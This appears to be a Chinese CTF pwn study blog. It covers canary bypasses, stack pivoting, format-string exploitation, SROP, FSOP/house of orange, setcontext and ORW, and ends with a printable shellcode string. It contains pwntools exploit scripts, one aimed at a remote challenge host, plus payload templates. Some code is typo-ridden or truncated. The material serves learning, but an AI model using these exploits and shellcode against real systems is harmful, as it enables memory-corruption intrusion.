整数溢出与数组越界
在计算机中,整数有两种,一种是有符号整数、一种是无符号整数,有符号数通过符号位来判断正负(0正,1负)
有符号数在与无符号数运算时,有符号数会转换为无符号数进行运算,比如-1转换成0xffffffff,这样看可能
没什么问题,接下来我用一个简单的c程序来演示一下
1 |
|
最后可以编译一下程序的输出应该是0xffffffff
关于数组越界,在使用数组时,下标超过原本范围(比如向上溢出以及向下溢出)
简单的例子
1 |
|
canary保护
第1种绕过方式:
泄露canary的内容
a.确定canary的偏移量
canary位于ebp-8处
当程序中存在字符串格式化漏洞时,可以通过%?$p来泄露canary的内容,?为canary的位置(当canary是程序中第23个参数时,即为%23$p,当程序为64位时,先用寄存器存参数,64位中8个bp相当于一个参数,32位中是4位)
例题
攻防世界MMary_Morton
64位,开了nx和canary
-0000000000000090 buf db ?
-0000000000000008 var_8 dq ?//canary位置
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x7fff9e3ab840-0x7f-0x7f109dd50260-(nil)-(nil)-0x2d70252d61616161
得到offest=5+(0x90-0x8)/8=23
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=remote('111.200.241.244',40211)
p.sendlineafter('3. Exit the battle ','2')
p.sendline('%23$p')
p.recvuntil('0x')
cat_flag=0x4008DA格式化
canary=int(p.recv(16),16)
log.info("canary:"+hex(canary))
p.sendline('1')
payload=b'a'*136+p64(canary)+b'a'*8+p64(cat_flag)
p.send(payload)
p.interactive()
b.通过覆盖canary的最后一位(\x00)来输出canary剩下的内容
exp
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote('111.200.241.244',40211)
p.sendlineafter('3. Exit the battle ','2')
p.sendline('a'*136)
p.recvuntil('0x')
cat_flag=0x4008DA
canary=u64(p.recv(8))-10
p.sendline('1')
payload=b'a'*136+p64(canary)+b'a'*8+p64(cat_flag)
p.send(payload)
p.interactive()
第2种方式:
爆破canary值
例题bin1
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=process('./bin1')
canary='\x00'
p.recvuntil('welcome')
for i in range(3):
for j in range(256):
p.send('a'*100+canary+chr(j))
q=p.recvuntil('welcome')
if 'sucess' in q:
canary+=chr(j)
break
p.sendline('a'*100+canary+'a'*12+p32(system_addr))
p.interavtive()
第3种绕过方式stack smash
(绕过x,攻击√
stack smash的条件:
1.flag读入到程序中,并且可以得到flag的地址
2.存在canary保护
3.知道argv[0]与输入字符串的偏移
stack smash的原理:
当程序中存在canary保护时,如果输入超过长度的字符串,此时程序就会报错,并打印argv[0]中
的内容
相关知识:_ environ为程序中的一个函数,保存了当前进程的环境变量,而环境变量存在栈上,可以通过
栈内的偏移,访问栈上的数据
例题wdb2018_guess
思路先算出argv[0]与输入字符串的偏移
如图
此时调试的exp为
1 | paylaod = "a"*0x100 |
只有这样写才能调到这一步
offest = 0x7ffd90269d68 - 0x7ffd90269c40 = 0x128
然后泄露libc,即payload = “a”* 0x128 + p64(elf.got[“puts”])
接下来就是泄露栈上的flag地址(通过environ)
payload = “a”* 0x128 + p64(environ)
flag_ad=environ-0x168
总的exp
1 | from pwn import * |
第4种绕过方式劫持__stack_chk_fail 函数
这种方式感觉和stack smash差不多
第5种绕过方式修改TLS里的canary
https://www.jianshu.com/p/85d0f7ae822e
待补充
栈迁移
栈迁移一般使用于程序溢出量较小的场景,原理是通过控制esp来控制eip从而控制程序流程
例题:buu ciscn_2019_s_4
vul函数
1 | int vul() |
read处可以溢出到eip,并且第一个read可以泄露ebp,当我们第二次调用read时,就可以在里面填充伪造的栈内容了(控制ebp),当结束完read的调用后,会执行leave ret,第一次leave,改变了ebp,第二次leave,esp改为我们设置的ebp,然后再跳转到对应的地方成功
getshell
exp
1 | from pwn import * |
当调用函数发生的过程:
push eip+4;
push ebp;
mov ebp,esp;
结束:
leave == mov esp,ebp
ret ==pop eip
格式化字符串漏洞
原理
hhn表示1个字节,hn表示2个,n表示4个
输出函数:printf
漏洞类型:比如char c[100];scanf(“%s”,&c);printf(c);
当输入的是正常的字母比如a-z,A-Z,0-9时,printf会正常的输出输入的内容,而当输入的是格式化字符串是%s,%p,%x······时,程序会泄露printf函数栈上对应的内容,如果控制输入的内容可以达到泄露got表,使程序异常停止等操作,接下来对各格式化字符串以及利用方式进行详细的解释
1.%p,输出16进制数据带0x
2.%x,也是输出16进制数据,不带0x(可以通过%p或者%x)
3.%s输出栈上变量对应的字符串
4.%n将之前已经输出的字符串个数赋给对应指针指向的变量
上述格式化串只是最基本的格式,还有高级的格式就是在p,x等前加上$,$的作用相当于是指定%p以及%x,输出的位置,%n也差不多,如%2$p输出的就是偏移2处的地址
调用printf函数对应的栈
EBP
返回地址
format
偏移1
偏移2
偏移3
通过输入aaaa-%p-%p-%p-%p-%p-%p-%p,可以确定输入数据的偏移量
地址排序脚本
如下
1 | ad = [sys_ad & 0xff,(sys_ad >> 8) & 0xff,(sys_ad >> 16) & 0xff,(sys_ad >> 24) & 0xff] |
1.覆盖变量的值(小数字)
原理:通过输入对应变量的地址到栈上,然后通过%$n,即可修改变量的值。
例题攻防世界CGfsb
程序流程十分简单,主程序中有个pwnme变量,pwnme变量为8,即能得到flag 第一次输入无意义,第二次输入可以输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,来看输入数据在栈上得偏移量,
这道题测得是10,payload为p32(pwnme_addr)+’aaaa%10$n’
2.泄露got表或者变量的地址
原理:通过%$s可以输出栈上指针所指向的字符串
当栈上存在某函数的got表值时,使用%$s输出该地址对应的值,就能够泄露got表
例题buu axb_2019_fmt32
3.改got表、改地址
例题:攻防世界进阶区 实时数据监测
通过hhn一字节一字节的或者两字节改数据,将0x0804A048对应处的值改为0x02223322即可getshell,经过测试偏移为12
payload=p32(bss_ad)+p32(bss_ad+1)+p32(bss_ad+2)+”%”+str(0x22-12)
payload+=”c%12$hhn”+”%”+str(0x33-0x22)+”c%13$hhn”
payload+=”%”+str(0x222-0x33)+”c%14$hn”
4.bss段或堆上的格式化字符串漏洞
例题:buu xman_2019_format
32位,题中只有一次输入shellcode的地方,c代码如下
1 | char *__cdecl pwn(char *s) |
非栈上的格式化字符串漏洞不能直接改栈上的数据,可以任意地址读,但是不能任意地址写
但是还是可以写,比如 0x10:0x20->0x30->0x40 算出偏移后 我们可以改0x30 但是改不了0x20
但是可以通过替身来间接改如图
改完后
再将0x8048697改成sys_ad就可以了
完整exp
1 | from pwn import * |
pwntools中的fmstr_payload使用:
fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
例题:攻防世界进阶区 实时数据监测
exp
1 | from pwn import * |
当自己手写payload时,往往需要使用移位运算符来得到一个地址的一些位
sys_high=(sys_ad>>16)& 0xff
sys_low= sys_ad & 0xff
&运算符表示与 1-1 为1 其他为0
^运算符表示相同为0 不相同为1
|运算符表示有1为1
初级ROP
中级ROP
高级ROP
高级ROP不同与初级以及中级ROP,需要大量的基础知识
ret2dl
srop
当内核向程序发送signal时,该程序的进程就会进入内核态,并保存该进程的状态(通过将所有寄存器的值压入栈)
如图
ucontext save 表示保存进程的状态,然后调用signal handler(也是系统调用,相当于sigreturn,64位调用号为15),
跳转到恢复程序进程的部分即ucontext restore(srop的核心就是通过伪造的这一部分来getshell或实现其他操作)
signal frame如图
调用完sigreturn,系统就会将指针指向signal frame
例题1.buu ciscn_2019_s_3
程序保护如下
gadgets函数给了两个gadget
1 | mov rax, 0Fh;sigreturn的的系统调用号 |
然后看主函数
1 | signed __int64 vuln() |
通过gdb调试可以知道buf+0x20处存在一个栈地址(计算与输入字符串的偏移就能得到/bin/sh\x00的地址),后面的看exp就明白了
mov rax = 15;ret;syscall;ret;frame
1 | from pwn import * |
例题2.buu rootersctf_2019_srop
64位,只开了nx
有用的gadgets
1 | pop rax;syscall;leave;ret |
这个题不好泄露地址,不过可以在已知地址上写/bin/sh\x00,思路是,先伪造一次frame,调用sigreturn实现sys_read将/bin/sh\x00和另一个能getshell的frame写在0x402000上,然后将栈迁移道0x402000上,再调用一次sitreturn(一开始不知道pwntools的frame可以恢复rbp)
1 | from pwn import * |
总结
实现srop的操作为,得到/bin/sh等的地址,然后想办法使rax为15,调用syscall(调用sigreturn),跳到伪造的frame
参考资料:
https://cloud.tencent.com/developer/article/1740251
https://www.cnblogs.com/z2yh/p/13731277.html
ret2vdso
FSOP
FSOP涉及相关IO流的知识,参考blog:https://blog.csdn.net/qq_39153421/article/details/115327308
例题1.hitcontraninghouseoforange_2016
这个题是一个houseoforange + FSOP 的经典题,这个题真的可以好好记录一下
程序大致功能
1.add()函数中大小限制为0x1000
2.有show函数
3.有edit函数,并且存在溢出
4.没有free函数
思路是先溢出修改topchunk为0xf91,此时分配一个0x1000的堆,topchunk就会进入unsortedbin,
再分配一个largebin,largebin中的fd和bk为main_arnea + offset,而fd_nextsize和bk_nextsize为
自己的地址,如图
这样可以泄露libc和堆地址
然后通过unsortedbin attack将io_list_all写入main_arena + 0x58
可以看到本题中io_list_all中写入了指向topchunk的地址
将unsortedbin的大小改为0x61,后main_arena+0x58+0x68会写入unsortedbin的地址,
而接下来会判断下一个unsortedbin即(io_list_all中的地址),而
此时那里写入的是main_arena+0x58,没有chunk,不满足条件
(补充当unsortedbin从链表拆下来时,main_arena上会根据unsortedbin的大小填入堆的地址)
如图main_arena + 0x58 + 0x68填入的就是unsortedbin的地址(因为大小为0x61,所以填在这里)
main_arena + 0x58指向的时unsortedbin的地址
io_list_all中存放的是io_list_all结构体的指针,结构如下
1 | struct _IO_list_all |
此时触发错误,于是通过_chain调用下一个_IO_list_all,即 main_arena + 0x58 + 0x68 = main_arena + 0xc0,而
main_arena + 0xc0 处对应的是idx为6的smallbin(将unsortedbin大小改为0x61的原因)
FSOP的最终目的是调用 IO_flush_all_lockp 函数中的 IO_overflow函数(IO_overflow写成system,struct开始填入/bin/sh)
IO_flush_all_lockp函数源码
1 | _IO_flush_all_lockp (int do_lock) |
IO_flush_all_lockp函数触发条件:
1.当libc执行abort流程时 abort可以通过触发malloc_printerr来触发
2.当执行exit函数时
3.当执行流从main函数返回时
需要绕过的条件
1 | 1.fp->_mode > 0 |
64位的_IO_FILE_plus构造模板:
1 | stream = "/bin/sh\x00"+p64(0x61) |
32位的
1 | stream = "sh\x00\x00"+p32(0x31) # system_call_parameter and link to small_bin[4] |
此时本题中main_arena + 0xc0正好就是我们伪造的数据如图
伪造数据形式如下
1 | def fake_file_struct(): |
vtable地址被伪造成了0x000055b84fe0b5e8,伪造的虚表如下
此时overflow的地址为system,/bin/sh\x00为参数,这样就能getshell了
vtable是_IO_jump_t类型的指针,如下
1 | struct _IO_jump_t |
总exp
1 | from pwn import * |
setcontext
setcontext一般在开了orw的情况下用,setcontext汇编如下
注意mov rsp,QWORD PTR [rdi+0xa0],偏移为53,这个是将rsp设为rdi + 0xa0,当我们把free_hook
或者malloc_hook改成setcontext + 43时,此时malloc或者free时,rdi为堆地址,
如果heap_ad + 0xa0 = target,我们就可以改rsp来rop,还有一个注意的地址,为
mov rcx,QWORD PTR [rdi+0xa8];push rcx;……;ret这里可以将rcx 设为 heap_ad + 0xa8,这样就能控制rip了,
从而劫持程序进程来orw了
补充frame中的rsp和rip正好对应0xa0 和 0xa8这两个地址,payload可以用frame设置rsp,rip,
也可以用”a”* 0xa0 + ad1 + ad2只要对应上地址,怎么写都可以
例题1.ciscn_2021_silverwolf
例题2.ciscn_2021_game
orw详解
orw指的是通过open,read,write函数,打开flag文件,读入flag,然后输出flag,当程序禁用execve时,就基本只能通过
orw的方式得到flag
open函数原型
1 | //需要的头文件 |
read和write函数原型
1 | int read_write( int handle, const void *buffer, unsigned int count ); |
系统内核中通过文件描述符来访问文件,open函数返回的就是文件描述符,0表示的是stdin,1表示stdout,2表示stderr
read通过open函数返回的文件描述符,可以对对应的文件进行操作
读入flag例子
1 |
|
open的系统调用是同通过对应的系统调用号实现,并且系统调用号存在rax中,并且函数得到返回值也会放到rax中,
rdi对应参数1(fd),rsi对应参数2(ad),rdx对应参数3(size)
设置号rax等寄存器后syscall就能成功的执行函数了
例题1.羊城杯nologin
64位保护就开了FULL relro,这个题不是很难,比赛的时候也没怎么看(大意了x,
并且有rwx段,只要能把orw写道rwx段上就可以getshell了
禁用了execve,功能2中存在溢出,可以修改rbp以及rip,通过将rip覆盖为read,可以向栈上面读入shellcode,然后
call,rsi,就能通过布置在栈上的shellcode,将栈迁移到rwx段上,然后直接orw就可以了(需要注意的一点是注意./flag的地址)
1 | from pwn import * |
exit_hook
利用
获取libc_base后
1 | p _rtld_global |
查看__rtld_lock_lock_recursive 和 __ rtld_lock_unlock_recursive的地址计算偏移写og
小trick
当使用scanf(“%ld”,&var);时如果scanf读入的是字母等非数字,那么var的内容不会改变,如果存在printf(var);则可以泄露原本的内容
当关闭输出后,有两种方式可以继续输出
1.将stdout->fileno改为2,
2.将bss段上的stdout指针改为stderr
shellcode
可见字符串shellcode
1 | shellcode_64 = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" |